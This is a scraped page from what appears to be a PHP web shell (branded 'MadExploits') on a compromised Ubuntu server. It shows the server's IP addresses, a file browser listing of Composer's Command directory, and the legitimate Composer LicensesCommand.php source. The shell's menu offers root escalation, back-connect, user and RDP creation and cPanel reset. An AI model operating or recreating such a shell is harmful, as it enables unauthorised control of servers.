Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
php /
Composer /
Command /
[ HOME SHELL ]
Name
Size
Permission
Action
AboutCommand.php
1.28
KB
-rw-r--r--
ArchiveCommand.php
7.61
KB
-rw-r--r--
BaseCommand.php
9.54
KB
-rw-r--r--
BaseDependencyCommand.php
8.88
KB
-rw-r--r--
CheckPlatformReqsCommand.php
7.82
KB
-rw-r--r--
ClearCacheCommand.php
2.24
KB
-rw-r--r--
ConfigCommand.php
34.37
KB
-rw-r--r--
CreateProjectCommand.php
23.64
KB
-rw-r--r--
DependsCommand.php
1.78
KB
-rw-r--r--
DiagnoseCommand.php
27.21
KB
-rw-r--r--
DumpAutoloadCommand.php
5.16
KB
-rw-r--r--
ExecCommand.php
3.46
KB
-rw-r--r--
FundCommand.php
5.29
KB
-rw-r--r--
GlobalCommand.php
3.91
KB
-rw-r--r--
HomeCommand.php
5.51
KB
-rw-r--r--
InitCommand.php
43.4
KB
-rw-r--r--
InstallCommand.php
7.55
KB
-rw-r--r--
LicensesCommand.php
7.08
KB
-rw-r--r--
OutdatedCommand.php
4.96
KB
-rw-r--r--
ProhibitsCommand.php
1.96
KB
-rw-r--r--
ReinstallCommand.php
8.35
KB
-rw-r--r--
RemoveCommand.php
14.04
KB
-rw-r--r--
RequireCommand.php
22.24
KB
-rw-r--r--
RunScriptCommand.php
5.1
KB
-rw-r--r--
ScriptAliasCommand.php
2.15
KB
-rw-r--r--
SearchCommand.php
4.69
KB
-rw-r--r--
SelfUpdateCommand.php
25.17
KB
-rw-r--r--
ShowCommand.php
54.07
KB
-rw-r--r--
StatusCommand.php
8.3
KB
-rw-r--r--
SuggestsCommand.php
3.99
KB
-rw-r--r--
UpdateCommand.php
16.38
KB
-rw-r--r--
ValidateCommand.php
10.96
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : LicensesCommand.php
<?php /* * This file is part of Composer. * * (c) Nils Adermann <naderman@naderman.de> * Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Composer\Command; use Composer\Json\JsonFile; use Composer\Package\CompletePackageInterface; use Composer\Plugin\CommandEvent; use Composer\Plugin\PluginEvents; use Composer\Package\PackageInterface; use Composer\Repository\RepositoryInterface; use Symfony\Component\Console\Helper\Table; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Console\Style\SymfonyStyle; /** * @author BenoƮt Merlet <benoit.merlet@gmail.com> */ class LicensesCommand extends BaseCommand { /** * @return void */ protected function configure() { $this ->setName('licenses') ->setDescription('Shows information about licenses of dependencies.') ->setDefinition(array( new InputOption('format', 'f', InputOption::VALUE_REQUIRED, 'Format of the output: text, json or summary', 'text'), new InputOption('no-dev', null, InputOption::VALUE_NONE, 'Disables search in require-dev packages.'), )) ->setHelp( <<<EOT The license command displays detailed information about the licenses of the installed dependencies. Read more at https://getcomposer.org/doc/03-cli.md#licenses EOT ) ; } /** * @return int */ protected function execute(InputInterface $input, OutputInterface $output) { $composer = $this->getComposer(); $commandEvent = new CommandEvent(PluginEvents::COMMAND, 'licenses', $input, $output); $composer->getEventDispatcher()->dispatch($commandEvent->getName(), $commandEvent); $root = $composer->getPackage(); $repo = $composer->getRepositoryManager()->getLocalRepository(); if ($input->getOption('no-dev')) { $packages = $this->filterRequiredPackages($repo, $root); } else { $packages = $this->appendPackages($repo->getPackages(), array()); } ksort($packages); $io = $this->getIO(); switch ($format = $input->getOption('format')) { case 'text': $io->write('Name: <comment>'.$root->getPrettyName().'</comment>'); $io->write('Version: <comment>'.$root->getFullPrettyVersion().'</comment>'); $io->write('Licenses: <comment>'.(implode(', ', $root->getLicense()) ?: 'none').'</comment>'); $io->write('Dependencies:'); $io->write(''); $table = new Table($output); $table->setStyle('compact'); $tableStyle = $table->getStyle(); if (method_exists($tableStyle, 'setVerticalBorderChars')) { $tableStyle->setVerticalBorderChars(''); } else { // TODO remove in composer 2.2 // @phpstan-ignore-next-line $tableStyle->setVerticalBorderChar(''); } $tableStyle->setCellRowContentFormat('%s '); $table->setHeaders(array('Name', 'Version', 'License')); foreach ($packages as $package) { $table->addRow(array( $package->getPrettyName(), $package->getFullPrettyVersion(), implode(', ', $package instanceof CompletePackageInterface ? $package->getLicense() : array()) ?: 'none', )); } $table->render(); break; case 'json': $dependencies = array(); foreach ($packages as $package) { $dependencies[$package->getPrettyName()] = array( 'version' => $package->getFullPrettyVersion(), 'license' => $package instanceof CompletePackageInterface ? $package->getLicense() : array(), ); } $io->write(JsonFile::encode(array( 'name' => $root->getPrettyName(), 'version' => $root->getFullPrettyVersion(), 'license' => $root->getLicense(), 'dependencies' => $dependencies, ))); break; case 'summary': $usedLicenses = array(); foreach ($packages as $package) { $license = $package instanceof CompletePackageInterface ? $package->getLicense() : array(); $licenseName = $license[0]; if (!isset($usedLicenses[$licenseName])) { $usedLicenses[$licenseName] = 0; } $usedLicenses[$licenseName]++; } // Sort licenses so that the most used license will appear first arsort($usedLicenses, SORT_NUMERIC); $rows = array(); foreach ($usedLicenses as $usedLicense => $numberOfDependencies) { $rows[] = array($usedLicense, $numberOfDependencies); } $symfonyIo = new SymfonyStyle($input, $output); $symfonyIo->table( array('License', 'Number of dependencies'), $rows ); break; default: throw new \RuntimeException(sprintf('Unsupported format "%s". See help for supported formats.', $format)); } return 0; } /** * Find package requires and child requires * * @param array<string, PackageInterface> $bucket * @return array<string, PackageInterface> */ private function filterRequiredPackages(RepositoryInterface $repo, PackageInterface $package, $bucket = array()) { $requires = array_keys($package->getRequires()); $packageListNames = array_keys($bucket); $packages = array_filter( $repo->getPackages(), function ($package) use ($requires, $packageListNames) { return in_array($package->getName(), $requires) && !in_array($package->getName(), $packageListNames); } ); $bucket = $this->appendPackages($packages, $bucket); foreach ($packages as $package) { $bucket = $this->filterRequiredPackages($repo, $package, $bucket); } return $bucket; } /** * Adds packages to the package list * * @param PackageInterface[] $packages the list of packages to add * @param array<string, PackageInterface> $bucket the list to add packages to * @return array<string, PackageInterface> */ public function appendPackages(array $packages, array $bucket) { foreach ($packages as $package) { $bucket[$package->getName()] = $package; } return $bucket; } }
Close